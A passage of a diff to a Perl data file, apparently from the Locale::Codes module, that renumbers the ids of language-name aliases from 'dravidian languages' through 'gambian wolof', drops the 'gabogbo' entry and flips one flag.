       q(0),
       ],
    q(dravidian languages) => [
-      q(0113),
+      q(0112),
       q(0),
       ],
    q(drehu) => [
-      q(2026),
+      q(2025),
       q(1),
       ],
    q(drents) => [
-      q(2140),
+      q(2139),
       q(0),
       ],
    q(drubea) => [
-      q(2169),
+      q(2168),
       q(1),
       ],
    q(drung) => [
-      q(2181),
+      q(2180),
       q(0),
       ],
    q(duala) => [
-      q(0115),
+      q(0114),
       q(0),
       ],
    q(duano) => [
-      q(2177),
+      q(2176),
       q(0),
       ],
    q(duau) => [
-      q(2187),
+      q(2186),
       q(0),
       ],
    q(dubli) => [
-      q(2165),
+      q(2164),
       q(0),
       ],
    q(dubu) => [
-      q(2088),
+      q(2087),
       q(0),
       ],
    q(dugun) => [
-      q(4794),
+      q(4792),
       q(0),
       ],
    q(duguri) => [
-      q(1959),
+      q(1958),
       q(0),
       ],
    q(dugwor) => [
-      q(2080),
+      q(2079),
       q(0),
       ],
    q(duhwa) => [
-      q(3207),
+      q(3205),
       q(0),
       ],
    q(duke) => [
-      q(4919),
+      q(4917),
       q(0),
       ],
    q(dulbu) => [
-      q(1961),
+      q(1960),
       q(0),
       ],
    q(duli-gey) => [
-      q(2186),
+      q(2185),
       q(0),
       ],
    q(duma) => [
-      q(2076),
+      q(2075),
       q(0),
       ],
    q(dumbea) => [
-      q(2169),
+      q(2168),
       q(0),
       ],
    q(dumi) => [
-      q(2180),
+      q(2179),
       q(0),
       ],
    q(dumpas) => [
-      q(2089),
+      q(2088),
       q(0),
       ],
    q(dumun) => [
-      q(2172),
+      q(2171),
       q(0),
       ],
    q(duna) => [
-      q(2166),
+      q(2165),
       q(0),
       ],
    q(dungan) => [
-      q(2096),
+      q(2095),
       q(0),
       ],
    q(dungmali) => [
-      q(5727),
+      q(5725),
       q(0),
       ],
    q(dungra bhil) => [
-      q(2171),
+      q(2170),
       q(0),
       ],
    q(dungu) => [
-      q(1967),
+      q(1966),
       q(0),
       ],
    q(dupaninan agta) => [
-      q(2176),
+      q(2175),
       q(0),
       ],
    q(dura) => [
-      q(2137),
+      q(2136),
       q(0),
       ],
    q(duri) => [
-      q(4607),
+      q(4606),
       q(0),
       ],
    q(duriankere) => [
-      q(1960),
+      q(1959),
       q(0),
       ],
    q(duruma) => [
-      q(2170),
+      q(2169),
       q(0),
       ],
    q(duruwa) => [
-      q(5385),
+      q(5381),
       q(0),
       ],
    q(dusner) => [
-      q(2147),
+      q(2146),
       q(0),
       ],
    q(dusun deyah) => [
-      q(2175),
+      q(2174),
       q(0),
       ],
    q(dusun malang) => [
-      q(2178),
+      q(2177),
       q(0),
       ],
    q(dusun witu) => [
-      q(2183),
+      q(2182),
       q(0),
       ],
    q(dutch) => [
-      q(0117),
+      q(0116),
       q(0),
       ],
    q(dutch sign language) => [
-      q(2143),
+      q(2142),
       q(0),
       ],
    q(dutch, middle (ca.1050-1350)) => [
-      q(0116),
+      q(0115),
       q(0),
       ],
    q(dutton world speedwords) => [
-      q(2190),
+      q(2189),
       q(0),
       ],
    q(duungooma) => [
-      q(2184),
+      q(2183),
       q(0),
       ],
    q(duupa) => [
-      q(1935),
+      q(1934),
       q(0),
       ],
    q(duvle) => [
-      q(2182),
+      q(2181),
       q(0),
       ],
    q(duwai) => [
-      q(1962),
+      q(1961),
       q(0),
       ],
    q(duwet) => [
-      q(2665),
+      q(2663),
       q(0),
       ],
    q(duya) => [
@@ -31535,103 +31505,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(dwang) => [
-      q(5000),
+      q(4998),
       q(0),
       ],
    q(dyaabugay) => [
-      q(2202),
+      q(2201),
       q(0),
       ],
    q(dyaberdyaber) => [
-      q(2195),
+      q(2194),
       q(0),
       ],
    q(dyan) => [
-      q(2194),
+      q(2193),
       q(0),
       ],
    q(dyangadi) => [
-      q(2200),
+      q(2199),
       q(0),
       ],
    q(dyirbal) => [
-      q(1958),
+      q(1957),
       q(0),
       ],
    q(dyugun) => [
-      q(2196),
+      q(2195),
       q(0),
       ],
    q(dyula) => [
-      q(0118),
+      q(0117),
       q(0),
       ],
    q(dza) => [
-      q(3079),
+      q(3077),
       q(0),
       ],
    q(dzalakha) => [
-      q(2206),
+      q(2205),
       q(0),
       ],
    q(dzando) => [
-      q(2207),
+      q(2206),
       q(0),
       ],
    q(dzao min) => [
-      q(1385),
+      q(1384),
       q(0),
       ],
    q(dzodinka) => [
-      q(0606),
+      q(0605),
       q(0),
       ],
    q(dzongkha) => [
-      q(0119),
+      q(0118),
       q(0),
       ],
    q(dzuungoo) => [
-      q(2100),
+      q(2099),
       q(0),
       ],
    q(e) => [
-      q(2217),
+      q(2216),
       q(0),
       ],
    q(e'ma buyang) => [
-      q(7788),
+      q(7785),
       q(0),
       ],
    q(e'napa woromaipu) => [
-      q(5365),
+      q(5361),
       q(0),
       ],
    q(early tripuri) => [
-      q(7507),
+      q(7504),
       q(0),
       ],
    q(east ambae) => [
-      q(5248),
+      q(5244),
       q(0),
       ],
    q(east berawan) => [
-      q(7815),
+      q(7812),
       q(0),
       ],
    q(east damar) => [
-      q(2086),
+      q(2085),
       q(0),
       ],
    q(east futuna) => [
-      q(2380),
+      q(2379),
       q(0),
       ],
    q(east germanic languages) => [
-      q(0506),
+      q(0505),
       q(0),
       ],
    q(east kewa) => [
-      q(3393),
+      q(3392),
       q(0),
       ],
    q(east limba) => [
@@ -31639,19 +31609,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(east makian) => [
-      q(4359),
+      q(4358),
       q(0),
       ],
    q(east masela) => [
-      q(7007),
+      q(7006),
       q(0),
       ],
    q(east nyala) => [
-      q(4941),
+      q(4939),
       q(0),
       ],
    q(east slavic languages) => [
-      q(0535),
+      q(0534),
       q(0),
       ],
    q(east tarangan) => [
@@ -31659,59 +31629,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(east yugur) => [
-      q(7766),
+      q(7763),
       q(0),
       ],
    q(eastern abnaki) => [
-      q(0553),
+      q(0552),
       q(0),
       ],
    q(eastern acipa) => [
-      q(0594),
+      q(0593),
       q(0),
       ],
    q(eastern apurimac quechua) => [
-      q(5693),
+      q(5691),
       q(0),
       ],
    q(eastern arrernte) => [
-      q(0634),
+      q(0633),
       q(0),
       ],
    q(eastern balochi) => [
-      q(1175),
+      q(1174),
       q(0),
       ],
    q(eastern bolivian guarani) => [
-      q(2648),
+      q(2646),
       q(0),
       ],
    q(eastern bontok) => [
-      q(2210),
+      q(2209),
       q(0),
       ],
    q(eastern bru) => [
-      q(1441),
+      q(1440),
       q(0),
       ],
    q(eastern canadian inuktitut) => [
-      q(2936),
+      q(2933),
       q(0),
       ],
    q(eastern cham) => [
-      q(1745),
+      q(1744),
       q(0),
       ],
    q(eastern durango nahuatl) => [
-      q(1015),
+      q(1014),
       q(0),
       ],
    q(eastern egyptian bedawi arabic) => [
-      q(0960),
+      q(0959),
       q(0),
       ],
    q(eastern frisian) => [
-      q(0142),
+      q(0141),
       q(0),
       ],
    q(eastern gorkha tamang) => [
@@ -31719,35 +31689,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(eastern highland chatino) => [
-      q(1780),
+      q(1779),
       q(0),
       ],
    q(eastern highland otomi) => [
-      q(5318),
+      q(5314),
       q(0),
       ],
    q(eastern hongshuihe zhuang) => [
-      q(7823),
+      q(7820),
       q(0),
       ],
    q(eastern huasteca nahuatl) => [
-      q(4857),
+      q(4855),
       q(0),
       ],
    q(eastern huishui hmong) => [
-      q(2778),
+      q(2776),
       q(0),
       ],
    q(eastern huishui miao) => [
-      q(2778),
+      q(2776),
       q(1),
       ],
    q(eastern karaboro) => [
-      q(7462),
+      q(7459),
       q(0),
       ],
    q(eastern karnic) => [
-      q(2228),
+      q(2227),
       q(0),
       ],
    q(eastern katu) => [
@@ -31755,99 +31725,99 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(eastern kayah) => [
-      q(2238),
+      q(2237),
       q(0),
       ],
    q(eastern keres) => [
-      q(3260),
+      q(3258),
       q(0),
       ],
    q(eastern khumi chin) => [
-      q(1705),
+      q(1704),
       q(0),
       ],
    q(eastern krahn) => [
-      q(3558),
+      q(3557),
       q(0),
       ],
    q(eastern lalu) => [
-      q(7644),
+      q(7641),
       q(0),
       ],
    q(eastern lawa) => [
-      q(4094),
+      q(4093),
       q(0),
       ],
    q(eastern magar) => [
-      q(4257),
+      q(4256),
       q(0),
       ],
    q(eastern malayo-polynesian languages) => [
-      q(0522),
+      q(0521),
       q(0),
       ],
    q(eastern maninkakan) => [
-      q(2251),
+      q(2250),
       q(0),
       ],
    q(eastern mari) => [
-      q(4283),
+      q(4282),
       q(0),
       ],
    q(eastern maroon creole) => [
-      q(2060),
+      q(2059),
       q(0),
       ],
    q(eastern meohang) => [
-      q(2249),
+      q(2248),
       q(0),
       ],
    q(eastern mnong) => [
-      q(4413),
+      q(4412),
       q(0),
       ],
    q(eastern muria) => [
-      q(2256),
+      q(2255),
       q(0),
       ],
    q(eastern ngad'a) => [
-      q(4800),
+      q(4798),
       q(0),
       ],
    q(eastern nisu) => [
-      q(5018),
+      q(5016),
       q(0),
       ],
    q(eastern ojibwa) => [
-      q(5215),
+      q(5211),
       q(0),
       ],
    q(eastern oromo) => [
-      q(2711),
+      q(2709),
       q(0),
       ],
    q(eastern parbate kham) => [
-      q(3357),
+      q(3356),
       q(0),
       ],
    q(eastern penan) => [
-      q(5418),
+      q(5414),
       q(0),
       ],
    q(eastern pomo) => [
-      q(5401),
+      q(5397),
       q(0),
       ],
    q(eastern qiandong miao) => [
-      q(2788),
+      q(2786),
       q(0),
       ],
    q(eastern subanen) => [
-      q(5978),
+      q(5977),
       q(0),
       ],
    q(eastern sudanic languages) => [
-      q(0525),
+      q(0524),
       q(0),
       ],
    q(eastern tamang) => [
@@ -31855,59 +31825,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(eastern tawbuid) => [
-      q(1336),
+      q(1335),
       q(0),
       ],
    q(eastern xiangxi miao) => [
-      q(4586),
+      q(4585),
       q(0),
       ],
    q(eastern xwla gbe) => [
-      q(2439),
+      q(2438),
       q(0),
       ],
    q(eastern yiddish) => [
-      q(7602),
+      q(7599),
       q(0),
       ],
    q(ebira) => [
-      q(2917),
+      q(2914),
       q(0),
       ],
    q(eblan) => [
-      q(7315),
+      q(7312),
       q(0),
       ],
    q(ebrie) => [
-      q(2212),
+      q(2211),
       q(0),
       ],
    q(ebughu) => [
-      q(2209),
+      q(2208),
       q(0),
       ],
    q(ecuadorian sign language) => [
-      q(2215),
+      q(2214),
       q(0),
       ],
    q(ede cabe) => [
-      q(1664),
+      q(1663),
       q(0),
       ],
    q(ede ica) => [
-      q(2895),
+      q(2892),
       q(0),
       ],
    q(ede idaca) => [
-      q(2902),
+      q(2899),
       q(0),
       ],
    q(ede ije) => [
-      q(2933),
+      q(2930),
       q(0),
       ],
    q(edera awyu) => [
-      q(0985),
+      q(0984),
       q(0),
       ],
    q(edo) => [
@@ -31915,191 +31885,191 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(edolo) => [
-      q(2305),
+      q(2304),
       q(0),
       ],
    q(edomite) => [
-      q(7312),
+      q(7310),
       q(0),
       ],
    q(edopi) => [
-      q(1954),
+      q(1953),
       q(0),
       ],
    q(edwas) => [
-      q(1347),
+      q(1346),
       q(2),
       ],
    q(efai) => [
-      q(2218),
+      q(2217),
       q(0),
       ],
    q(efe) => [
-      q(2219),
+      q(2218),
       q(0),
       ],
    q(efik) => [
-      q(0120),
+      q(0119),
       q(0),
       ],
    q(efutop) => [
-      q(5202),
+      q(5198),
       q(0),
       ],
    q(ega) => [
-      q(2220),
+      q(2219),
       q(0),
       ],
    q(eggon) => [
-      q(2222),
+      q(2221),
       q(0),
       ],
    q(egypt sign language) => [
-      q(2292),
+      q(2291),
       q(0),
       ],
    q(egyptian (ancient)) => [
-      q(0121),
+      q(0120),
       q(0),
       ],
    q(egyptian arabic) => [
-      q(0885),
+      q(0884),
       q(0),
       ],
    q(egyptian languages) => [
-      q(0502),
+      q(0501),
       q(0),
       ],
    q(ehueun) => [
-      q(2223),
+      q(2222),
       q(0),
       ],
    q(eipomek) => [
-      q(2224),
+      q(2223),
       q(0),
       ],
    q(eitiep) => [
-      q(2225),
+      q(2224),
       q(0),
       ],
    q(ejagham) => [
-      q(2308),
+      q(2307),
       q(0),
       ],
    q(ejamat) => [
-      q(2227),
+      q(2226),
       q(0),
       ],
    q(ekajuk) => [
-      q(0122),
+      q(0121),
       q(0),
       ],
    q(ekari) => [
-      q(2230),
+      q(2229),
       q(0),
       ],
    q(ekegusii) => [
-      q(2662),
+      q(2660),
       q(1),
       ],
    q(eki) => [
-      q(2231),
+      q(2230),
       q(0),
       ],
    q(ekit) => [
-      q(2229),
+      q(2228),
       q(0),
       ],
    q(ekpeye) => [
-      q(2236),
+      q(2235),
       q(0),
       ],
    q(el alto zapotec) => [
-      q(7914),
+      q(7911),
       q(0),
       ],
    q(el hugeirat) => [
-      q(2240),
+      q(2239),
       q(0),
       ],
    q(el molo) => [
-      q(2244),
+      q(2243),
       q(0),
       ],
    q(el nayar cora) => [
-      q(1850),
+      q(1849),
       q(0),
       ],
    q(elamite) => [
-      q(0123),
+      q(0122),
       q(0),
       ],
    q(eleme) => [
-      q(2243),
+      q(2242),
       q(0),
       ],
    q(elepi) => [
-      q(2239),
+      q(2238),
       q(0),
       ],
    q(elfdalian) => [
-      q(5334),
-      q(0),
+      q(5330),
+      q(1),
       ],
    q(elip) => [
-      q(2234),
+      q(2233),
       q(0),
       ],
    q(elkei) => [
-      q(2242),
+      q(2241),
       q(0),
       ],
    q(elotepec zapotec) => [
-      q(7938),
+      q(7935),
       q(0),
       ],
    q(eloyi) => [
-      q(0647),
+      q(0646),
       q(0),
       ],
    q(elseng) => [
-      q(4504),
+      q(4503),
       q(0),
       ],
    q(elu) => [
-      q(2245),
+      q(2244),
       q(0),
       ],
    q(elymian) => [
-      q(7391),
+      q(7388),
       q(0),
       ],
    q(emae) => [
-      q(4404),
+      q(4403),
       q(0),
       ],
    q(emai-iuleha-ora) => [
-      q(2246),
+      q(2245),
       q(0),
       ],
    q(eman) => [
-      q(2253),
+      q(2252),
       q(0),
       ],
    q(embaloh) => [
-      q(2247),
+      q(2246),
       q(0),
       ],
    q(embera-baudo) => [
-      q(1092),
+      q(1091),
       q(0),
       ],
    q(embera-catio) => [
-      q(1892),
+      q(1891),
       q(0),
       ],
    q(embera-chami) => [
-      q(1784),
+      q(1783),
       q(0),
       ],
    q(embera-tado) => [
@@ -32107,63 +32077,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(embu) => [
-      q(2213),
+      q(2212),
       q(0),
       ],
    q(emem) => [
-      q(2270),
+      q(2269),
       q(1),
       ],
    q(emerillon) => [
-      q(2248),
+      q(2247),
       q(0),
       ],
    q(emilian) => [
-      q(2221),
+      q(2220),
       q(0),
       ],
    q(emplawas) => [
-      q(2257),
+      q(2256),
       q(0),
       ],
    q(emumu) => [
-      q(2270),
+      q(2269),
       q(0),
       ],
    q(en) => [
-      q(2262),
+      q(2261),
       q(0),
       ],
    q(enawene-nawe) => [
-      q(6902),
+      q(6901),
       q(0),
       ],
    q(ende) => [
-      q(2263),
+      q(2262),
       q(0),
       ],
    q(enga) => [
-      q(2269),
+      q(2268),
       q(0),
       ],
    q(engdewu) => [
-      q(4844),
+      q(4842),
       q(0),
       ],
    q(engenni) => [
-      q(2267),
+      q(2266),
       q(0),
       ],
    q(enggano) => [
-      q(2268),
+      q(2267),
       q(0),
       ],
    q(english) => [
-      q(0124),
+      q(0123),
       q(0),
       ],
    q(english, middle (1100-1500)) => [
-      q(0125),
+      q(0124),
       q(0),
       ],
    q(english, old (ca.450-1100)) => [
@@ -32171,59 +32141,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(english-based creoles and pidgins) => [
-      q(0094),
+      q(0093),
       q(2),
       ],
    q(enlhet) => [
-      q(2266),
+      q(2265),
       q(0),
       ],
    q(enrekang) => [
-      q(5628),
+      q(5625),
       q(0),
       ],
    q(enu) => [
-      q(2271),
+      q(2270),
       q(0),
       ],
    q(enwan (akwa ibom state)) => [
-      q(2273),
+      q(2272),
       q(0),
       ],
    q(enwan (edu state)) => [
-      q(2272),
+      q(2271),
       q(0),
       ],
    q(enxet) => [
-      q(2274),
+      q(2273),
       q(0),
       ],
    q(enya) => [
-      q(2486),
+      q(2485),
       q(0),
       ],
    q(epena) => [
-      q(6046),
+      q(6045),
       q(0),
       ],
    q(epi-olmec) => [
-      q(7320),
+      q(7317),
       q(0),
       ],
    q(epie) => [
-      q(2276),
+      q(2275),
       q(0),
       ],
    q(epigraphic mayan) => [
-      q(2259),
+      q(2258),
       q(0),
       ],
    q(eravallan) => [
-      q(2277),
+      q(2276),
       q(0),
       ],
    q(erave) => [
-      q(3398),
+      q(3397),
       q(0),
       ],
    q(ere) => [
@@ -32231,307 +32201,307 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(eritai) => [
-      q(2285),
+      q(2284),
       q(0),
       ],
    q(erokwanas) => [
-      q(2286),
+      q(2285),
       q(0),
       ],
    q(erre) => [
-      q(2283),
+      q(2282),
       q(0),
       ],
    q(erromintxela) => [
-      q(2258),
+      q(2257),
       q(0),
       ],
    q(ersu) => [
-      q(2284),
+      q(2283),
       q(0),
       ],
    q(eruwa) => [
-      q(2279),
+      q(2278),
       q(0),
       ],
    q(erzya) => [
-      q(0298),
+      q(0297),
       q(0),
       ],
    q(esan) => [
-      q(2999),
+      q(2996),
       q(0),
       ],
    q(ese) => [
-      q(4161),
+      q(4160),
       q(0),
       ],
    q(ese ejja) => [
-      q(2287),
+      q(2286),
       q(0),
       ],
    q(eshtehardi) => [
-      q(2289),
+      q(2288),
       q(0),
       ],
    q(esimbi) => [
-      q(0670),
+      q(0669),
       q(0),
       ],
    q(eskayan) => [
-      q(2299),
+      q(2298),
       q(0),
       ],
    q(eskimo-aleut languages) => [
-      q(0503),
+      q(0502),
       q(0),
       ],
    q(esperanto) => [
-      q(0126),
+      q(0125),
       q(0),
       ],
    q(esselen) => [
-      q(2296),
+      q(2295),
       q(0),
       ],
    q(estado de mexico otomi) => [
-      q(5322),
+      q(5318),
       q(0),
       ],
    q(estonian) => [
-      q(0127),
+      q(0126),
       q(0),
       ],
    q(estonian sign language) => [
-      q(2295),
+      q(2294),
       q(0),
       ],
    q(esuma) => [
-      q(2293),
+      q(2292),
       q(0),
       ],
    q(etchemin) => [
-      q(2301),
+      q(2300),
       q(0),
       ],
    q(etebi) => [
-      q(2300),
+      q(2299),
       q(0),
       ],
    q(eten) => [
-      q(2309),
+      q(2308),
       q(0),
       ],
    q(eteocretan) => [
-      q(2214),
+      q(2213),
       q(0),
       ],
    q(eteocypriot) => [
-      q(2216),
+      q(2215),
       q(0),
       ],
    q(ethiopian sign language) => [
-      q(2302),
+      q(2301),
       q(0),
       ],
    q(etkywan) => [
-      q(2896),
+      q(2893),
       q(0),
       ],
    q(eton (cameroon)) => [
-      q(2304),
+      q(2303),
       q(0),
       ],
    q(eton (vanuatu)) => [
-      q(2303),
+      q(2302),
       q(0),
       ],
    q(etruscan) => [
-      q(2307),
+      q(2306),
       q(0),
       ],
    q(etulo) => [
-      q(6942),
+      q(6941),
       q(0),
       ],
    q(evant) => [
-      q(1637),
+      q(1636),
       q(0),
       ],
    q(even) => [
-      q(2311),
+      q(2310),
       q(0),
       ],
    q(evenki) => [
-      q(2313),
+      q(2312),
       q(0),
       ],
    q(eviya) => [
-      q(2483),
+      q(2482),
       q(0),
       ],
    q(ewage-notu) => [
-      q(5020),
+      q(5018),
       q(0),
       ],
    q(ewe) => [
-      q(0128),
+      q(0127),
       q(0),
       ],
    q(ewondo) => [
-      q(0129),
+      q(0128),
       q(0),
       ],
    q(extremaduran) => [
-      q(2314),
+      q(2313),
       q(0),
       ],
    q(eyak) => [
-      q(2315),
+      q(2314),
       q(0),
       ],
    q(ezaa) => [
-      q(2317),
+      q(2316),
       q(0),
       ],
    q(fa d'ambu) => [
-      q(2320),
+      q(2319),
       q(0),
       ],
    q(fagani) => [
-      q(2322),
+      q(2321),
       q(0),
       ],
    q(fagauvea) => [
-      q(6948),
+      q(6947),
       q(1),
       ],
    q(faire atta) => [
-      q(1021),
+      q(1020),
       q(0),
       ],
    q(faita) => [
-      q(2326),
+      q(2325),
       q(0),
       ],
    q(faiwol) => [
-      q(2325),
+      q(2324),
       q(0),
       ],
    q(fala) => [
-      q(2333),
+      q(2332),
       q(0),
       ],
    q(falam chin) => [
-      q(1711),
+      q(1710),
       q(0),
       ],
    q(fali) => [
-      q(2352),
+      q(2351),
       q(0),
       ],
    q(faliscan) => [
-      q(7325),
+      q(7322),
       q(0),
       ],
    q(fam) => [
-      q(2329),
+      q(2328),
       q(0),
       ],
    q(fanagalo) => [
-      q(2360),
+      q(2359),
       q(0),
       ],
    q(fanamaket) => [
-      q(1245),
+      q(1244),
       q(0),
       ],
    q(fanbak) => [
-      q(2359),
+      q(2358),
       q(0),
       ],
    q(fang) => [
-      q(0130),
+      q(0129),
       q(0),
       ],
    q(fang (cameroon)) => [
-      q(2327),
+      q(2326),
       q(0),
       ],
    q(fang (equatorial guinea)) => [
-      q(0130),
+      q(0129),
       q(1),
       ],
    q(fania) => [
-      q(2361),
+      q(2360),
       q(0),
       ],
    q(fanti) => [
-      q(0132),
+      q(0131),
       q(0),
       ],
    q(far western muria) => [
-      q(2358),
+      q(2357),
       q(0),
       ],
    q(farefare) => [
-      q(2656),
+      q(2654),
       q(0),
       ],
    q(faroese) => [
-      q(0131),
+      q(0130),
       q(0),
       ],
    q(fas) => [
-      q(2368),
+      q(2367),
       q(0),
       ],
    q(fasu) => [
-      q(2319),
+      q(2318),
       q(0),
       ],
    q(fataleka) => [
-      q(2331),
+      q(2330),
       q(0),
       ],
    q(fataluku) => [
-      q(1975),
+      q(1974),
       q(0),
       ],
    q(fayu) => [
-      q(2332),
+      q(2331),
       q(0),
       ],
    q(fe'fe') => [
-      q(2357),
+      q(2356),
       q(0),
       ],
    q(fedan) => [
-      q(5396),
+      q(5392),
       q(1),
       ],
    q(fembe) => [
-      q(0664),
+      q(0663),
       q(0),
       ],
    q(fernando po creole english) => [
-      q(2367),
+      q(2366),
       q(0),
       ],
    q(feroge) => [
-      q(2338),
+      q(2337),
       q(0),
       ],
    q(fiji hindi) => [
-      q(2753),
+      q(2751),
       q(0),
       ],
    q(fijian) => [
-      q(0133),
+      q(0132),
       q(0),
       ],
    q(filipino) => [
-      q(0134),
+      q(0133),
       q(0),
       ],
    q(filomena mata-coahuitlan totonac) => [
@@ -32539,215 +32509,215 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(finland-swedish sign language) => [
-      q(2377),
+      q(2376),
       q(0),
       ],
    q(finlandssvenskt teckensprak) => [
-      q(2377),
+      q(2376),
       q(1),
       ],
    q(finnish) => [
-      q(0135),
+      q(0134),
       q(0),
       ],
    q(finnish sign language) => [
-      q(2375),
+      q(2374),
       q(0),
       ],
    q(finno-ugrian languages) => [
-      q(0136),
+      q(0135),
       q(0),
       ],
    q(finongan) => [
-      q(2323),
+      q(2322),
       q(0),
       ],
    q(fipa) => [
-      q(2344),
+      q(2343),
       q(0),
       ],
    q(firan) => [
-      q(2345),
+      q(2344),
       q(0),
       ],
    q(fiwaga) => [
-      q(2347),
+      q(2346),
       q(0),
       ],
    q(flaaitaal) => [
-      q(2356),
+      q(2355),
       q(0),
       ],
    q(flemish) => [
-      q(0117),
+      q(0116),
       q(1),
       ],
    q(flemish sign language) => [
-      q(6981),
+      q(6980),
       q(1),
       ],
    q(flinders island) => [
-      q(2354),
+      q(2353),
       q(0),
       ],
    q(foau) => [
-      q(2351),
+      q(2350),
       q(0),
       ],
    q(foi) => [
-      q(2363),
+      q(2362),
       q(0),
       ],
    q(foia foia) => [
-      q(2339),
+      q(2338),
       q(0),
       ],
    q(folopa) => [
-      q(5573),
+      q(5569),
       q(0),
       ],
    q(foma) => [
-      q(2364),
+      q(2363),
       q(0),
       ],
    q(fon) => [
-      q(0137),
+      q(0136),
       q(0),
       ],
    q(fongoro) => [
-      q(2341),
+      q(2340),
       q(0),
       ],
    q(foodo) => [
-      q(2362),
+      q(2361),
       q(0),
       ],
    q(forak) => [
-      q(2373),
+      q(2372),
       q(0),
       ],
    q(fordata) => [
-      q(2370),
+      q(2369),
       q(0),
       ],
    q(fore) => [
-      q(2365),
+      q(2364),
       q(0),
       ],
    q(forest enets) => [
-      q(2264),
+      q(2263),
       q(0),
       ],
    q(formosan languages) => [
-      q(0505),
+      q(0504),
       q(0),
       ],
    q(fortsenal) => [
-      q(2374),
+      q(2373),
       q(0),
       ],
    q(francisco leon zoque) => [
-      q(7898),
+      q(7895),
       q(0),
       ],
    q(francoprovencal) => [
-      q(2372),
+      q(2371),
       q(1),
       ],
    q(frankish) => [
-      q(2371),
+      q(2370),
       q(0),
       ],
    q(french) => [
-      q(0138),
+      q(0137),
       q(0),
       ],
    q(french belgian sign language) => [
-      q(5977),
+      q(5976),
       q(1),
       ],
    q(french sign language) => [
-      q(2376),
+      q(2375),
       q(0),
       ],
    q(french, middle (ca.1400-1600)) => [
-      q(0139),
+      q(0138),
       q(0),
       ],
    q(french, old (842-ca.1400)) => [
-      q(0140),
+      q(0139),
       q(0),
       ],
    q(french-based creoles and pidgins) => [
-      q(0095),
+      q(0094),
       q(2),
       ],
    q(friulian) => [
-      q(0145),
+      q(0144),
       q(0),
       ],
    q(fulah) => [
-      q(0144),
+      q(0143),
       q(0),
       ],
    q(fuliiru) => [
-      q(2355),
+      q(2354),
       q(0),
       ],
    q(fulnio) => [
-      q(2387),
+      q(2386),
       q(0),
       ],
    q(fum) => [
-      q(2386),
+      q(2385),
       q(0),
       ],
    q(fungwa) => [
-      q(6875),
+      q(6874),
       q(0),
       ],
    q(fur) => [
-      q(2393),
+      q(2392),
       q(0),
       ],
    q(furu) => [
-      q(2390),
+      q(2389),
       q(0),
       ],
    q(futuna-aniwa) => [
-      q(2389),
+      q(2388),
       q(0),
       ],
    q(fuyug) => [
-      q(2392),
+      q(2391),
       q(0),
       ],
    q(fwai) => [
-      q(2394),
+      q(2393),
       q(0),
       ],
    q(fwe) => [
-      q(2395),
+      q(2394),
       q(0),
       ],
    q(fyam) => [
-      q(5663),
+      q(5661),
       q(0),
       ],
    q(fyer) => [
-      q(2343),
+      q(2342),
       q(0),
       ],
    q(ga) => [
-      q(0146),
+      q(0145),
       q(0),
       ],
    q(ga'anda) => [
-      q(2607),
+      q(2605),
       q(0),
       ],
    q(ga'dang) => [
-      q(2456),
+      q(2455),
       q(0),
       ],
    q(gaa) => [
@@ -32759,107 +32729,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(gabi-gabi) => [
-      q(2438),
-      q(0),
-      ],
-   q(gabogbo) => [
-      q(2514),
+      q(2437),
       q(0),
       ],
    q(gabri) => [
-      q(2396),
+      q(2395),
       q(0),
       ],
    q(gabrielino-fernandeno) => [
-      q(7329),
+      q(7326),
       q(0),
       ],
    q(gadang) => [
-      q(2460),
+      q(2459),
       q(0),
       ],
    q(gaddang) => [
-      q(2398),
+      q(2397),
       q(0),
       ],
    q(gaddi) => [
-      q(2427),
+      q(2426),
       q(0),
       ],
    q(gade) => [
-      q(2474),
+      q(2473),
       q(0),
       ],
    q(gade lohar) => [
-      q(2450),
+      q(2449),
       q(0),
       ],
    q(gadjerawang) => [
-      q(2457),
+      q(2456),
       q(0),
       ],
    q(gadsup) => [
-      q(2404),
+      q(2403),
       q(0),
       ],
    q(gaelic) => [
-      q(0154),
+      q(0153),
       q(0),
       ],
    q(gafat) => [
-      q(2488),
+      q(2487),
       q(0),
       ],
    q(gagadu) => [
-      q(2436),
+      q(2435),
       q(0),
       ],
    q(gagauz) => [
-      q(2401),
+      q(2400),
       q(0),
       ],
    q(gagnoa bete) => [
-      q(1476),
+      q(1475),
       q(0),
       ],
    q(gagu) => [
-      q(2497),
+      q(2496),
       q(0),
       ],
    q(gahri) => [
-      q(1157),
+      q(1156),
       q(0),
       ],
    q(gaikundi) => [
-      q(2422),
+      q(2421),
       q(0),
       ],
    q(gail) => [
-      q(2512),
+      q(2511),
       q(0),
       ],
    q(gaina) => [
-      q(2447),
+      q(2446),
       q(0),
       ],
    q(gal) => [
-      q(2410),
+      q(2409),
       q(0),
       ],
    q(galambu) => [
-      q(2548),
+      q(2546),
       q(0),
       ],
    q(galatian) => [
-      q(7326),
+      q(7323),
       q(0),
       ],
    q(galela) => [
-      q(2425),
+      q(2424),
       q(0),
       ],
    q(galeya) => [
-      q(2412),
+      q(2411),
       q(0),
       ],
    q(galibi carib) => [
@@ -32867,223 +32833,223 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(galice) => [
-      q(2444),
+      q(2443),
       q(0),
       ],
    q(galician) => [
-      q(0156),
+      q(0155),
       q(0),
       ],
    q(galindan) => [
-      q(7332),
+      q(7329),
       q(0),
       ],
    q(gallurese sardinian) => [
-      q(5945),
+      q(5944),
       q(0),
       ],
    q(galo) => [
-      q(0613),
+      q(0612),
       q(0),
       ],
    q(galolen) => [
-      q(2406),
+      q(2405),
       q(0),
       ],
    q(gamale kham) => [
-      q(3314),
+      q(3313),
       q(0),
       ],
    q(gambera) => [
-      q(2553),
+      q(2551),
       q(0),
       ],
    q(gambian wolof) => [
-      q(7187),
+      q(7185),
